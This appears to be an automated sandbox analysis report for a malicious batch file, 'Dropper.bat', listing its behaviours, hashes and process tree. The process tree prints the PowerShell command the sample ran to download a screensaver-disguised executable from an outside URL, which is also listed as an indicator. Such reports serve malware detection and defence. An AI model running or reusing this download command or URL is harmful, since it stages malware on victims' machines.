Resubmissions

03/10/2024, 18:00

241003-wlb4xasdnd10

04/09/2024, 12:18

240904-pgn5ca1drd10

Analysis

  • max time kernel
    1316s
  • max time network
    1141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2024, 18:00

General

  • Target
    Dropper.bat
  • Size 470B
  • Sample241003-wlb4xasdnd
  • SHA256 6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://master-repogen.vercel.app/file/server.scr

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3964

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_nduhxrky.ccm.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nduhxrky.ccm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3964-0-0x00007FFA7AB33000-0x00007FFA7AB35000-memory.dmp

        memory/3964-1-0x000001D77B360000-0x000001D77B382000-memory.dmp

        memory/3964-11-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

        memory/3964-12-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

        memory/3964-13-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

        memory/3964-14-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

        memory/3964-17-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp